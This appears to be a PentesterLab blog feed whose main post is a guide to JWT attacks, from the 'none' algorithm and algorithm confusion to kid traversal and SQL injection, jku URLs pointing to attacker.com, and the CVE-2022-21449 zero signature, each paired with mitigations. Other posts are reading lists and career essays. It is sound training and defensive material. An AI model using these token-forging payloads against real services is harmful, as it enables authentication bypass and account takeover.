]]> Sun, 11 May 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week19-2025 https://pentesterlab.com/blog/research-worth-reading-week19-2025 JSON Web Tokens (JWTs) are widely used for authentication, authorization, and secure information exchange in modern web applications. They're often used in OAuth2 flows, stateless session handling, API access, and SSO implementations.

A JWT consists of three parts, separated by dots:

HEADER.PAYLOAD.SIGNATURE

• HEADER: Defines the type of token and the signing algorithm (e.g. HS256).
• PAYLOAD: Contains claims about the user, session, or other data (e.g. {"user": "user1", "admin": false}).
• SIGNATURE: A cryptographic signature that ensures the token hasn't been tampered with.

Each part is Base64URL-encoded (without padding) and concatenated with a dot:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiJ1c2VyMSIsImFkbWluIjpmYWxzZX0.
X5cBA0klC0df_vxTqM-M1WOUbE8Qzj0Kh3w_N6Y7LkI

🧪 JSON Web Algorithms (JWA)

The JWT specification supports multiple algorithms, defined in the JWA (JSON Web Algorithms) specification:

• Symmetric algorithms (HMAC based using a shared secret): HS256, HS384, HS512
• Asymmetric algorithms (public/private key): RS256 (RSA based), ES256 (Elliptic Curve based), PS256 (RSA based with MGF1 padding), etc.
• None: A non-algorithm that implies no signature (insecure and should never be used)

When a token is issued, it’s signed by the issuer using the specified algorithm. The recipient must verify the signature before trusting the payload.

The code to sign a token signs the concatenation of header + "." + payload based on the ALGORITHM picked by the developer:

signature = ALGORITHM.Sign(header + "." + payload, key)

In the same way the verification is done on header + "." + payload:

ALGORITHM.Verify(signature, header + "." + payload, key)

For the verification, there are multiple strategies developers can use to pick the ALGORITHM, they can hardcode it (safer) or use the value coming from the JWT header (attacker-controlled, not as safe).

🔄 One Website, Many JWT Implementations

In modern architectures, a single web application can be composed of dozens of microservices. Even if they share a hostname, each service may:

• Use a different JWT library
• Use a different signing key or verification logic
• Parse and validate tokens differently

This means every endpoint must be tested individually. Don’t assume that if the login or main API endpoint handles JWT securely, all others do too. A misconfigured service or third-party microservice might still be vulnerable.

Throughout this guide, we’ll cover the most common — and most dangerous — JWT implementation flaws, how they are exploited, and how to detect or defend against them. Each section links to PentesterLab exercises so you can practice the attacks in a hands-on environment.

---

🔓 1. Signature Not Verified

One of the most common and dangerous implementation mistakes when using JWTs is failing to verify the signature. JWTs are not encrypted — their purpose is to provide integrity. This means the contents of the token can be viewed by anyone, but should not be trusted unless the signature has been verified.

Unfortunately, some applications skip this critical step. This often happens because developers use a library’s decode() method instead of verify(), or they temporarily disable signature verification during testing and forget to re-enable it.

Exploitation

If a JWT is not verified before use, an attacker can forge arbitrary claims. The steps are trivial:

1. Obtain a valid token (e.g., by registering or logging in as a normal user).
2. Base64URL-decode the token to view the header and payload.
3. Modify the payload, for example changing:

   {"user": "bob", "role": "user"}

   to:

   {"user": "admin", "role": "admin"}

4. Base64URL-encode the modified header and payload.
5. Reassemble the token. You can:
   • Keep the original signature (most likely to work), or
   • Remove it completely and just send header.payload. (less likely to work)
6. Send the token in a request (e.g., as a cookie or Authorization header).

If the server does not verify the signature, it will treat the forged claims as valid — and you’ll be authenticated as admin.

Even experienced developers can make this mistake when trying to quickly inspect a token’s contents or during local testing.

Impact

This issue can lead to:

• Authentication bypass
• Authorization bypass

This issue effectively renders JWT-based authentication useless if not properly handled.

Mitigations

• Always use a library’s verify() method before accessing claims.
• Never trust the payload until the signature is successfully validated.
• Add integration tests that verify signature enforcement across all endpoints.
• Use code reviews and static analysis to detect misuse of decode() or insecure JWT flows.

Practice It 🧪

You can try this exact attack in a hands-on lab:

👉 PentesterLab: JWT Without Signature Verification

---

❌ 2. None Algorithm Attack

The JWT specification allows tokens to specify the signing algorithm in their header using the "alg" field. Early versions of many JWT libraries accepted None or none as a valid option, meaning the token was considered valid without a signature at all. This was mostly due to developers of the library following the JWT specification and implementing all the required algorithms.

This was originally intended for debugging or unsecured flows, but in practice, it opened a serious security hole when libraries did not explicitly disable or reject the none algorithm.

Exploitation

To exploit a JWT implementation that allows "none":

1. Obtain a valid token (e.g., login as a normal user).
2. Base64URL-decode the JWT and modify the header:

   {"alg": "HS256", "typ": "JWT"}

   becomes:

   {"alg": "none", "typ": "JWT"}

   or

   {"alg": "None", "typ": "JWT"}

3. Modify the payload to escalate privileges:

   {"user": "admin"}

4. Base64URL-encode the new header and payload.
5. Assemble the token with an empty signature part:

   base64url(header) + "." + base64url(payload) + "."

6. Send the token to the application.

If the backend does not reject tokens with "alg": "none", it will accept this token as valid — and you’re now admin without any cryptographic proof.

Impact

This issue can lead to:

• Authentication bypass
• Authorization bypass

This issue effectively renders JWT-based authentication useless if not properly handled.

Mitigations

• Explicitly disable the "none" algorithm in your JWT library configuration.
• Do not rely on defaults, enforce algorithm allowlists like RS256 or HS256.
• Reject tokens that contain "alg": "none" at the parser level.
• Consider validating the algorithm independently from the token itself.

Practice It 🧪

Try this vulnerability in a hands-on lab:

👉 PentesterLab: JWT None Algorithm

🧂 3. Trivial Secret (Weak HMAC Keys)

When using HMAC-based algorithms like HS256, the integrity of the JWT depends entirely on the secrecy and strength of the shared secret key. If the key is weak, guessable, or hardcoded, an attacker can brute-force it using a known JWT and use it to forge arbitrary tokens.

This vulnerability can be common in poorly secured APIs and test environments, and it often affects production systems due to careless key management.

Exploitation

The attacker needs just one valid token. With that, they can run an offline brute-force attack to recover the secret. Here's how:

1. Capture a valid JWT from the application.
2. Split it into the three parts: header.payload.signature.
3. Use a tool like Hashcat, or a custom script to brute-force the shared secret by computing:

   HMAC(secret, base64url(header) + "." + base64url(payload)) == signature

4. Once the secret is found, modify the payload (e.g., escalate role or spoof another user).
5. Re-sign the token using the cracked secret and send it to the application.

This entire attack can be performed offline, without generating noise or alerts on the target system.

Common weak secrets include:

• "secret"
• "123456"
• Service or project names (e.g., "my-api")
• Hardcoded defaults in open-source projects

You can use a list of known JWT secrets like wallarm/jwt-secrets to increase your chance of recovering the secret.

Mitigation

• Use cryptographically strong secrets for HMAC algorithms (e.g., 32+ random bytes).
• Never hardcode secrets in source code or config files.
• Rotate secrets periodically and use environment-specific secrets.
• Support for multiple secrets to enable rotation.
• Log and monitor token validation errors.

Practice It 🧪

Try this attack in a hands-on environment with a weak secret you can crack yourself:

👉 PentesterLab: JWT Trivial Secret

---

🔀 4. Algorithm Confusion (RSA to HMAC)

One of the most subtle, yet devastating, JWT vulnerabilities arises from algorithm confusion. This attack exploits the fact that the JWT header includes a user-controlled "alg" parameter. If the server doesn’t enforce which algorithm is expected, an attacker can manipulate the header to cause the backend to verify the token using the wrong algorithm — often with catastrophic consequences.

The most common variant: swapping an RS256 (RSA) token to HS256 (HMAC), and then using the RSA public key (meant only for verification) as the HMAC secret.

Exploitation

This attack works because of how asymmetric (RSA) and symmetric (HMAC) algorithms function:

• RSA (RS256): The server signs with its private key and verifies with its public key.
• HMAC (HS256): The same secret is used for both signing and verification.

If the server trusts the "alg" field from the token header and uses the public key as the HMAC secret, an attacker can:

1. Obtain a valid JWT signed with RSA.
2. Base64URL-decode the token and change the header from:

   {"alg": "RS256", "typ": "JWT"}

   to:

   {"alg": "HS256", "typ": "JWT"}

3. Modify the payload (e.g., change user role or identity).
4. Sign the new header.payload using HMAC with the server’s RSA public key.
5. Send the forged token.

If the server blindly uses HS256 and its public key as the HMAC secret, the forged token will validate — and the attacker can fully impersonate any user.

How to Get the Public Key

There are many ways to get access to the public key:

• Sometimes embedded in frontend JavaScript
• Hardcoded in mobile apps
• Published in documentation or well-known JWK endpoints
• Recovered from ECDSA signatures or multiple RSA signatures using tools such as rsa_sign2n

Impact

This issue can lead to:

• Authentication bypass
• Authorization bypass

Mitigation

• Never trust the "alg" field from the JWT itself.
• Enforce the expected algorithm at the configuration level (e.g., alg = RS256 only).
• Separate token parsing from verification logic — and never auto-select algorithms.
• Use libraries that do not allow dynamic algorithm switching or require explicit key types.

Practice It 🧪

Try this exact attack by forging a token using the public key as the HMAC secret:

👉 PentesterLab: JWT Algorithm Confusion and PentesterLab: JWT Algorithm Confusion with RSA Public Key Recovery

🔀 4b. Algorithm Confusion (ECDSA to HMAC)

This variation of the algorithm confusion attack targets applications using ECDSA (Elliptic Curve Digital Signature Algorithm), for example ES256. Just like the RSA-to-HMAC confusion, the core issue is that the application trusts the "alg" field from the JWT header, and uses it to select the verification method and key type dynamically.

By changing the "alg" field from ES256 (ECDSA) to HS256 (HMAC), an attacker can trick the server into verifying the token using an HMAC signature — and use the ECDSA public key as the HMAC secret.

Exploitation

Here’s how the attack works:

1. Obtain a valid JWT signed using ES256 (ECDSA).
2. Modify the token:
   • Change "alg": "ES256" to "alg": "HS256" in the header.
   • Modify the payload (e.g., set "user": "admin").
   • Base64URL-encode the new header and payload.
3. Sign the header.payload using HMAC and the public ECDSA key as the secret.
4. Send the forged token to the server.

If the backend is vulnerable and uses the public key as a secret without validating the key type or the original algorithm, the forged HMAC will validate — and the attacker gains access with elevated privileges.

Why This Works

ECDSA is asymmetric: it uses a private key to sign and a public key to verify.

HMAC is symmetric: it uses the same secret key to sign and verify.

If a system allows switching from ECDSA to HMAC, and treats the public key as a secret (because it’s all it has access to), it creates an unsafe equivalence between asymmetric and symmetric cryptography — and the attacker takes full advantage of this confusion.

Recovering the Public Key

As with RSA, you can find the key in documentation, SDK or in mobile apps. Alternatively, you can programmatically recover two potential public keys from a signature. You can find more details and code to recover the ECDSA public keys in our blog: Algorithm Confusion Attacks against JWT using ECDSA.

Impact

This issue can lead to:

• Authentication bypass
• Authorization bypass

Mitigation

• Never trust the "alg" field in the JWT header.
• Enforce algorithms server-side (e.g., alg = ES256 only).
• Do not allow clients to specify algorithms dynamically.
• Use libraries that reject unknown or unsupported algorithm types.

Practice It 🧪

Try this attack in a lab that walks you through recovering the ECDSA public key and forging a JWT using HMAC:

👉 PentesterLab: JWT Algorithm Confusion with ECDSA Public Key Recovery

🪤 5. kid Injection (Key ID Manipulation)

The JWT header supports a field called "kid" — short for Key ID. This field allows the token to indicate which key should be used to verify the signature. It is especially useful in systems with key rotation or multiple signing keys.

However, when applications dynamically fetch keys based on this field — especially from filesystems or databases — the kid value becomes a dangerous injection point. If the application uses it insecurely (e.g., directly concatenating it into a file path or SQL query), attackers can manipulate it to point to keys they control or leak internal secrets.

Exploitation: Path Traversal

In file-based key lookups, the application might do something like:

key_path = "/keys/" + kid
public_key = readFile(key_path)

An attacker can supply a JWT with:

"kid": "../../../../dev/null"

This results in:

/keys/../../../../dev/null → /dev/null

Since reading from /dev/null will return an empty string, an attacker can forge a token and sign it with an empty string.

Exploitation: SQL Injection

If the application loads keys from a database using an unsafe query:

SELECT key FROM keys WHERE kid = ''

The attacker can supply:

"kid": "zzzz' UNION SELECT '123' --"

This causes the application to fetch and use an attacker-supplied value (123), which will successfully verify forged JWTs signed with the matching private key.

Impact

This issue can lead to:

• Authentication bypass
• Authorization bypass
• Remote command execution
• SQL Injection

Mitigation

• Validate kid strictly — never allow user-controlled paths or queries.
• Use allowlists of valid kid values with fixed file or key mappings.
• Sanitize and canonicalize paths before use.
• Use parameterized queries if accessing a database.
• Log and monitor invalid or unexpected kid values.

Practice It 🧪

Practice injecting a malicious kid to control key selection and forge tokens:

👉 PentesterLab: JWT kid Injection and Directory Traversal

👉 PentesterLab: JWT kid Injection and RCE

👉 PentesterLab: JWT kid Injection and SQL Injection

🧬 6. Embedded JWK (CVE-2018-0114)

JWTs can optionally include a JWK (JSON Web Key) directly inside the token header using the jwk parameter. This is intended to allow token issuers to specify the public key that should be used to verify the token — particularly useful in distributed systems or rotating key setups.

However, if the server accepts any public key supplied in the token without proper validation (such as checking the issuer, key origin, or intended usage), an attacker can embed their own public key into the header and generate tokens that validate against it.

This vulnerability was publicly disclosed as CVE-2018-0114 and affected the popular PyJWT library. It allowed attackers to bypass authentication by embedding their key and signing tokens with the matching private key.

Exploitation

To exploit this vulnerability, the attacker:

1. Generates their own RSA key pair.
2. Creates a JWT with a forged payload (e.g., "user": "admin").
3. Includes their public key in the header under the jwk field:

   
   "jwk": {
     "kty": "RSA",
     "e": "AQAB",
     "n": "..."
   }
       

4. Signs the token using their private key.
5. Sends the token to the vulnerable service.

If the application naively uses the JWK from the token header, the attacker’s key is used to verify the token — making the forged token appear legitimate.

Impact

This issue can lead to:

• Authentication bypass
• Authorization bypass

Mitigation

• Never accept keys from the token itself.
• If using a JWK from the header, validate:
  • Its issuer
  • Its source (is it known/trusted?)
  • Its purpose (e.g., ensure "use": "sig" and not "enc")
• Disable jwk header parsing unless explicitly needed.
• Upgrade any libraries affected by CVE-2018-0114.

Practice It 🧪

Try forging a JWT using your own key and bypass verification using the embedded jwk:

👉 PentesterLab: CVE-2018-0114

🌐 7. JKU / X5U Header Abuse

JWT supports additional headers like jku (JWK Set URL) and x5u (X.509 certificate URL) that point to external URLs where public keys can be retrieved. These fields are designed to help recipients dynamically fetch verification keys, especially in distributed or federated systems.

However, if the application does not strictly control the source of these URLs, it opens the door for Server-Side Request Forgery and using an attacker-controlled key. An attacker can host their own key set or certificate and sign tokens with their private key, then instruct the server (via jku or x5u) to download and trust that key.

Exploitation

To exploit this behavior, an attacker will:

1. Generate their own RSA key pair.
2. Host the public key on a server they control, either:
   • As a JWK set (for jku)
   • As an X.509 certificate (for x5u)
3. Create a JWT with:
   • "alg": "RS256"
   • "jku": "https://attacker.com/jwks.json" or "x5u": "https://attacker.com/cert.pem"
4. Sign the token using their private key.
5. Send the forged token to the target application.

If the server accepts the remote key without validation, it will trust the token — because it successfully verifies with the attacker’s hosted key.

This attack can also be exploited by leveraging a file upload, header injection or open redirect

Impact

This issue can lead to:

• Authentication bypass
• Authorization bypass
• Server-Side Request Forgery

Mitigation

• Do not trust keys from arbitrary jku or x5u URLs.
• Implement an explicit allowlist of trusted domains for JWK and cert loading.
• Validate that the key downloaded from the remote URL matches expected kid values.
• Log and alert on unexpected external JWK or cert URLs.
• Prefer local key storage unless dynamic remote keys are absolutely necessary.

Practice It 🧪

Practice forging a token that the server will trust based on the jku or x5u field:

👉 PentesterLab: JWT JKU attacks

👉 PentesterLab: JWT JKU and File Upload

👉 PentesterLab: JWT JKU and Open Redirect

👉 PentesterLab: JWT JKU and Header Injection

🧙 8. CVE-2022-21449 (Psychic Signature)

In 2022, a critical vulnerability was discovered in the Java JDK’s ECDSA signature verification implementation. This bug, now known as the “Psychic Signature” vulnerability — allowed attackers to bypass digital signature verification entirely by submitting an invalid signature where both values (s and r) are set to zero.

Tracked as CVE-2022-21449, this bug impacted applications that used Java’s java.security.Signature class to verify ECDSA-signed JWTs, especially when using algorithms like ES256.

Exploitation

The core of the vulnerability is that the Java implementation incorrectly accepted the signature with r=0 and s=0 as valid, even though these values should never occur in legitimate ECDSA signatures.

To exploit the issue:

1. Generate any JWT with "alg": "ES256" and a forged payload (e.g., "user": "admin").
2. Base64URL-encode the header and payload.
3. Append a forged signature consisting of r=0 and s=0: (Base64URL-encoded: MAYCAQACAQA)
4. Send the JWT to the target Java-based service.

If the backend uses a vulnerable version of Java and ECDSA verification, it will accept the forged token as valid — bypassing all authentication and allowing privilege escalation.

Why This Happens

• ECDSA signatures are composed of two integers: r and s.
• Java’s signature verification logic failed to reject values when both r = 0 and s = 0.
• Since these values were not checked properly, any JWT could be “valid” when signed with a zeroed signature.

Impact

This issue can lead to:

• Authentication bypass
• Authorization bypass

Mitigation

• Upgrade to a patched version of Java (JDK 17.0.3+, 11.0.15+, 8u331+, etc.).
• Avoid using ECDSA signatures if your cryptographic library is untrusted or poorly maintained.
• Reject tokens with suspicious or malformed signatures — especially all-zero signatures.
• Write test cases that attempt to validate known-invalid JWTs.

Practice It 🧪

Practice crafting a forged JWT using a zeroed signature to bypass verification:

👉 PentesterLab: JWT Psychic Signature aka CVE-2022-21449

📚 Final Thoughts: Mastering JWT Security

JWTs are powerful tools for stateless authentication, but they come with a complex and subtle attack surface. As you've seen throughout this guide, the most devastating JWT vulnerabilities often stem from small misconfigurations, incorrect assumptions, or over-trusting user-controlled data.

And the danger is compounded in modern architectures: a single application might use JWTs in dozens of different places — APIs, microservices, SSO layers, mobile backends — all with potentially different libraries, configs, and logic.

If you're auditing or pentesting an app:

• Test every endpoint individually
• Check for discrepancies in JWT parsing and verification
• Don’t assume one secure implementation covers the entire system

If you're a developer or security engineer:

• Never trust JWT headers blindly (especially alg, kid, jku, x5u, and jwk)
• Use proven libraries and keep them up-to-date
• Enforce strict configuration and avoid dynamic behaviors unless absolutely necessary

🎯 Reading Isn’t Enough — You Have to Practice

It’s one thing to understand an attack in theory — but another to pull it off under real-world constraints. That’s why each section of this guide links to a PentesterLab exercise where you can practice the attack in a safe, realistic environment based on real-world CVEs and misconfigurations.

👉 Start practicing now on PentesterLab and level up your JWT exploitation skills — for real.

🔐 About PentesterLab

PentesterLab teaches web security and vulnerability discovery through hands-on exercises — based on real bugs, real CVEs, and real-world applications. It’s used by red teams, appsec teams, and security researchers around the world to build deep, practical skills.

Whether you’re learning JWTs, diving into SAML, or reviewing code for subtle logic flaws — PentesterLab is where you turn knowledge into skill.

]]> Mon, 05 May 2025 00:00:00 +0000 https://pentesterlab.com/blog/jwt-vulnerabilities-attacks-guide https://pentesterlab.com/blog/jwt-vulnerabilities-attacks-guide h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

The past few weeks have been quiet, but we’re back!

🛠️ DeepWiki

Starting a code review project without understanding how the codebase is structured can be tough. DeepWiki is a great tool available for open source projects on GitHub: DeepWiki.com. You can also run it locally on private projects since an open source version exists: AsyncFuncAI/deepwiki-open. It's a game changer for code reviewers.

🧠 How MCP Servers Can Steal Your Conversation History

Speaking of AI, the team at Trail of Bits has been publishing more content on attacks targeting Model Context Protocol (MCP) servers. Check out their post: How MCP servers can steal your conversation history.

🛠️ ProxyBlob

Need a SOCKS proxy using Azure Blob Storage? The team at Quarkslab has you covered: quarkslab/proxyblob.

🛡️ Charting the SSH Multiverse

And finally, check out the slides from a fantastic talk by HD Moore at BSides San Francisco: Charting the SSH Multiverse.

]]> Sun, 04 May 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week18-2025 https://pentesterlab.com/blog/research-worth-reading-week18-2025 The Perceived Hierarchy

In the world of offensive security, many people view security research as the ultimate goal, a prestigious badge of honor at the top of an imagined hierarchy:

Pentester → Red Teamer → Security Researcher

This perception is often reinforced by conference lineups that favor novel research over practical assessments. As a result, a lot of professionals feel they need to pivot to security research to be taken seriously.

This leads to a common and flawed assumption: that security researchers are somehow more skilled than pentesters. After all, they find brand new bugs, surely that makes them better?

But the truth is: the roles are very different, and so are the skills they demand.

Life as a Pentester

Pentesters work under tight deadlines. Most engagements are scoped to a few days or weeks. That means they need to hit the ground running, rapidly map out systems, identify attack paths, and prioritize their time efficiently. They also juggle client communications, write reports, and provide actionable insights. Pentesting suits people who like variety, quick wins, and continuous change.

You're also more likely to find remote opportunities in pentesting. There are simply more roles available, and the nature of the work is less secretive.

Life as a Security Researcher

Security researchers, on the other hand, go deep. Their job is about patience and persistence. They can spend months analyzing a single feature, trying to understand its internals and surface weaknesses. There’s a high chance of failure and long stretches with no visible progress. The work is often solitary and methodical, suited to people who enjoy digging into the details and solving puzzles without a clear path forward.

And yes, while researchers don’t write reports for clients, they’re still expected to document everything, clearly and thoroughly. Often for internal use, publication, or reproduction by colleagues.

Security researchers may also face more operational constraints. Some may work in air-gapped environments or on tightly locked-down systems, with little room for customization or installing personal tooling. If you enjoy building and running your own environment, this may prove frustrating.

The Takeaway

Both pentesting and research can be deeply technical. One isn’t better than the other, they’re different disciplines. You’ll find smart, skilled people in both camps. What matters is not what’s more “elite,” but what suits your skills, mindset, and how you want to spend your time.

I've heard too many stories of pentesters making the jump to vulnerability research and coming back after 6 to 12 months saying: "This is not what I thought it would be."

Security research is great but it’s not the holy grail. You’re better off being an excellent pentester than a frustrated or mediocre researcher. If research isn't your thing, don’t chase it for prestige. Chase what makes you effective, happy, and constantly improving.

If you're aiming toward one of these careers, PentesterLab PRO can help you build the foundation necessary for both paths. We provide the variety of knowledge you need for pentesting, as well as the depth and mindset required for vulnerability research.

]]> Thu, 24 Apr 2025 00:00:00 +0000 https://pentesterlab.com/blog/pentester-vs-security-researcher-career-paths https://pentesterlab.com/blog/pentester-vs-security-researcher-career-paths When reviewing code, you often uncover problematic patterns or weaknesses. Unfortunately, discovering something concerning doesn't automatically mean you have found an exploitable vulnerability. It merely indicates that something isn't right. This scenario often leads to a situation I've summarized as:

"Two minutes to find the bug, two days to prove exploitability."

This raises a critical question: Should you always strive to prove exploitability? Particularly if you work on an internal application security team, especially if your AppSec ratio—the number of application security engineers to software engineers—is very low, the answer isn't always straightforward.

Does it always need to be this complicated?

Consider this: Should you really spend two days of valuable AppSec engineer time meticulously proving exploitability for each identified issue? Or would it be more effective to spend four hours of a software engineer's time applying a simple patch?

For example, issues like insufficient randomness in session tokens, directory traversal attacks prevented by the application's routing logic, or missing HTML encoding in redirect pages clearly indicate insecure practices. Sometimes, it's easier and more practical for AppSec engineers to provide a straightforward patch rather than dedicating extensive effort to proving exploitability.

I discussed this topic further in a video: "Just send a PR"

It gets worse when people rely on a Web Application Firewall (WAF) or rate limiting as adequate controls. Statements like, "It's here, but it's not exploitable thanks to our WAF," often lead to complacency.

People also tend to confuse "We don't know how to exploit it" with "It is not exploitable." Knowledge about the exploitability of weaknesses continually evolves. You never truly know if something is permanently non-exploitable—you only know you couldn't exploit it right now, given your current knowledge, skills, and publicly available information within the security community.

An excellent example of this evolving exploitability is deserialization vulnerabilities. Historically, issues around deserialization in languages like Java and Ruby were often considered theoretical until practical exploits and techniques emerged over time, significantly altering their perceived risk and urgency.

Obviously, if your job is to sell vulnerabilities, exploitability is crucial. But what if your primary role is to improve application security and make applications more resilient?

Even in the world of bug bounties, researchers often hold onto chains of critical weaknesses because they're missing a single piece—like an open redirect—to make the entire chain exploitable. Is this obsessive pursuit of exploitability genuinely beneficial, or is it counterproductive? Should bug bounty programs offer a "free part in the chain"—for instance, offering an open redirect or CSP bypass as "freebies" if part of a chain?

Perhaps it's time to rethink our approach. Maybe not every weakness needs a full proof-of-exploit. Perhaps investing resources into quick remediation is more pragmatic, cost-effective, and better aligned with real-world risk management.

]]> Sat, 19 Apr 2025 00:00:00 +0000 https://pentesterlab.com/blog/do-you-care-about-exploitability https://pentesterlab.com/blog/do-you-care-about-exploitability h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

A quieter week but still some good content!

🪲 XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748)

Another great post from the WatchTowr team: XSS To RCE By Abusing Custom File Handlers - Kentico Xperience CMS (CVE-2025-2748).

🧩 Intigriti 0325 Challenge Writeup

An excellent write-up for an Intigriti's CTF challenge with 3 ways to solve it (2 unintended and the intended one): Intigriti 0325 Challenge Writeup.

]]> Sun, 06 Apr 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week14-2025 https://pentesterlab.com/blog/research-worth-reading-week14-2025 h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Two great pieces of content for this week!

🪲 Next.js and the corrupt middleware: the authorizing artifact

A detailed write-up from the people who actually found the latest Next.js vulnerability: Next.js and the corrupt middleware: the authorizing artifact.

🪲 IngressNightmare: 9.8 Critical Unauthenticated Remote Code Execution Vulnerabilities in Ingress NGINX

A great vulnerability discovered by the Wiz team, allowing them to gain code execution in Kubernetes ingress-nginx. The multiple injections are interesting, but I loved the configuration injection to RCE part the most (very similar to what we saw in the recent Elttam Ruby gadget): IngressNightmare: 9.8 Critical Unauthenticated Remote Code Execution Vulnerabilities in Ingress NGINX.

]]> Sun, 30 Mar 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week13-2025 https://pentesterlab.com/blog/research-worth-reading-week13-2025 JWT.io is widely known among developers for its convenient JWT debugger and its curated list of libraries supporting JSON Web Tokens across dozens of programming languages. While it's a helpful resource, there's a serious and often overlooked issue: many of the libraries listed are outdated, unmaintained, or outright insecure.

The Problem: Abandoned and Insecure Libraries

JWT.io not only showcases active libraries—it also lists libraries that haven't seen updates in years, or have even been archived entirely. This poses a significant risk to developers who rely on the site to find a reliable library for implementing JWT in their applications.

📁 Archived Repositories (No Longer Maintained)

• robbert229/jwt (archived April 2024)
• square/go-jose (archived February 2023)
• olehlong/jwtd (archived October 2021)
• zolamk/jwt (archived May 2018)
• iain-logan/jwt (archived September 2022)
• babelouest/rhonabwy (archived November 2024)
• nov/jose-php (archived January 2024)

💤 Libraries Untouched for Years

Several libraries haven’t been updated in over 5–10 years, making them highly questionable for use in modern applications.

• 2015:
  • dvsekhvalnov/jose-rt
  • tjcelaya/jwt.q
• 2016:
  • kaleidos/grails-security-stateless
• 2017:
  • nickvellios/gojwt
  • zolamk/jwt
  • garyf/json_web_token
  • garyf/json_web_token_ex
  • janjaali/spray-jwt
  • SkyLothar/lua-resty-jwt
  • emarref/jwt
  • vaibhavpandeyvpz/jweety
• 2018:
  • SermoDigital/jose
  • robbert229/jwt
  • iain-logan/jwt
• 2019:
  • kylef/JSONWebToken.swift
  • jasongoodwin/authentikat-jwt
  • cisco/cjose
• 2020:
  • olehlong/jwtd
  • Wstunes/SwiftyJWT
  • reznikmm/jwt

Maturity and Compliance: All Over the Place

The maturity of these libraries varies wildly. One supports a cryptographic algorithm that doesn’t even exist in the JWT specification: HMAC-MD5, or worse—make security design decisions that are completely unsafe.

Examples:

• One library uses a Regular Expression to extract the algorithm from the JWT header instead of parsing the JSON.
• Another signs tokens using a random string of random length and the payload as the secret.
• Some libraries only support HMAC-SHA256, offering no flexibility or standards compliance.

I also tried reporting a security issue to a Scala library: spray-jwt#5 – no response since October 2024.

Raising the Alarm

I raised this problem last year by opening an issue on the JWT.io GitHub repository. Since then, I’ve also submitted multiple pull requests:

• Add a warning about outdated libraries
• Propose removal of an abandoned library

Unfortunately, there has been little to no action so far.

Why This Matters

JWTs are commonly used for authentication and authorization—core components of application security. Using outdated or broken JWT libraries can lead to:

• Token forgery
• Authentication bypass
• Insecure cryptographic handling
• Hard-to-detect vulnerabilities in production

What Can Be Done?

1. Audit the library list: Libraries should be reviewed periodically for activity and security.
2. Add metadata: Show last update date, archive status, and supported algorithms.
3. Let the community flag problems: Add a simple reporting system for issues with listed libraries.
4. Set a minimum bar: Exclude libraries that don’t follow the JWT spec or use insecure defaults.

---

TL;DR: JWT.io is a popular and convenient tool, but the library list can be dangerous. Developers may unknowingly choose insecure or abandoned libraries. We need better transparency and active curation to keep the ecosystem secure.

Want to help? Star or comment on the issue I opened here:
👉 jsonwebtoken/jsonwebtoken.github.io#717

]]> Fri, 28 Mar 2025 00:00:00 +0000 https://pentesterlab.com/blog/state-of-jwt-io https://pentesterlab.com/blog/state-of-jwt-io h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Another great week! SAML&Node, C#&XML, GitLab!

‼️ !exploitable Episode Three - Devfile Adventures

The Doyensec team has released another episode of their serie !exploitable, this time on CVE-2024-0402 impacting GitLab: !exploitable Episode Three - Devfile Adventures.

📨 SAMLStorm: Critical Authentication Bypass in xml-crypto and Node.js libraries

More SAML, this time impacting xml-crypto in the Node ecosystem: SAMLStorm: Critical Authentication Bypass in xml-crypto and Node.js libraries.

🛤️ CVE-2024-53991 - Discourse Backup Disclosure: Rails send_file Quirk

What happens when you mix Ruby on Rails and the Nginx internal directive? Find out in the latest Blog Post from the Project Discovery team: CVE-2024-53991 - Discourse Backup Disclosure: Rails send_file Quirk.

☑️ By Executive Order, We Are Banning Blacklists - Domain-Level RCE in Veeam Backup & Replication (CVE-2025-23120)

A great post from the WatchTowr team. By Executive Order, We Are Banning Blacklists - Domain-Level RCE in Veeam Backup & Replication (CVE-2025-23120).

❤️ TMP OUT #4

The latest TMPOUT is out: TMP OUT #4.

🗼 Bypassing Authentication Like It’s The ‘90s - Pre-Auth RCE Chain(s) in Kentico Xperience CMS

Another great post by the WatchTowr team, just the right mix of XML and C# code review: Bypassing Authentication Like It’s The ‘90s - Pre-Auth RCE Chain(s) in Kentico Xperience CMS.

]]> Sun, 23 Mar 2025 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week12-2025 https://pentesterlab.com/blog/research-worth-reading-week12-2025 h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

What a week! SAML&Ruby, PHP&XXE and so much more!

📨 Sign in as anyone: Bypassing SAML SSO authentication with parser differentials

Two of my favorite things (Ruby and SAML) meet again, and another great vulnerability in ruby-saml: Sign in as anyone: Bypassing SAML SSO authentication with parser differentials.

💻 What Makes Code Hard To Read: Visual Patterns of Complexity

A great article on what makes code hard to read. There's a lot of content related to code review in this blog as well, so make sure you check it out: What Makes Code Hard To Read: Visual Patterns of Complexity.

🤯 Impossible XXE in PHP

The team at ptsecurity is on fire at the moment. A great PHP/XXE tour de force: Impossible XXE in PHP. It is worth reading just for the LIBXML_NONET part...

😻 Analysis of CVE-2025-24813 Apache Tomcat Path Equivalence RCE

